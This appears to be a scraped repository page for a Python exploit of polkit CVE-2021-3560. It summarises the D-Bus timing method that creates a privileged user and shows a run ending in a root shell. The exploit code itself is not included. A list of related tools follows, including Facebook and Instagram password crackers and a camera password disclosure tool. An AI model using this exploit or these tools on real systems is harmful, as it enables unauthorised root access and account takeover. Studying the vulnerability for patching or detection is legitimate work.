Polkit-exploit - CVE-2021-3560

Privilege escalation with polkit - CVE-2021-3560

Summary

CVE-2021-3560 is an authentication bypass on polkit, which allows unprivileged user to call privileged methods using DBus, in this exploit we will call 2 privileged methods provided by accountsservice (CreateUser and SetPassword), which allows us to create a priviliged user then setting a password to it and at the end logging as the created user and then elevate to root.

Exploit Code Author

Ahmad Almorabea @almorabea http://almorabea.net

Usage

[email protected]:~/Desktop$ python3 CVE-2021-3560.py 
**************
Exploit: Privilege escalation with polkit - CVE-2021-3560
Exploit code written by Ahmad Almorabea @almorabea
Original Exploit Author: Kevin Backhouse 
For more details check this: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#history
[+]Starting the Exploit 
[+] User Created with the name of ahmed
[+] Timed out at: 0.008446890996407191
[+] Timed out at: 0.008934336684707084
[+] Exploit Completed, your new user is 'Ahmed' just log into it like, 'su ahmed', and then 'sudo su' to root 
bash: cannot set terminal process group (46983): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/home/test/Desktop# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/home/test/Desktop# whoami
root
[email protected]:/home/test/Desktop#

Demo

GUI Authentication

Terminal Authentication

Credit

Kevin Backhouse (https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)

Privilege escalation with polkit - CVE-2021-3560

Related tags

Overview

Polkit-exploit - CVE-2021-3560

Summary

Exploit Code Author

Usage

Demo

Credit

Owner

Ahmad Almorabea

Polkit - Local Privilege Escalation (CVE-2021-3560)

A quick script to spot the usage of Unicode Bidi (bidirectional) characters that could lead to an Invisible Backdoor

CamOver is a camera exploitation tool that allows to disclosure network camera admin password.

Now patched 0day for force reseting an accounts password

proxyshell payload generate

Learning to compose soft prompts for compositional zero-shot learning.

A compact version of EDI-Vetter, which uses the TLS output to quickly vet transit signals.

Anti-Nuke capabilities, powerful moderation features, auto punishments, captcha-verification and more.

It's a simple tool for test vulnerability Apache Path Traversal

Proof of Concept Exploit for vCenter CVE-2021-21972

Fast and easy way to rollout on multiple GitLab project file a particular content.

Confluence OGNL injection

An IDA pro python script to decrypt Qbot malware string

Simulating Log4j Remote Code Execution (RCE) vulnerability in a flask web server using python's logging library with custom formatter that simulates lookup substitution by executing remote exploit code.

A windows post exploitation tool that contains a lot of features for information gathering and more.

This is a multi-password‌ cracking tool that can help you hack facebook accounts very quickly

USSR-Scanner - USSR Scanner with python

🐝 ℹ️ Honeybee extension for export to IES-VE gem file format

Searches through git repositories for high entropy strings and secrets, digging deep into commit history

Instagram brute force tool that uses tor as its proxy connections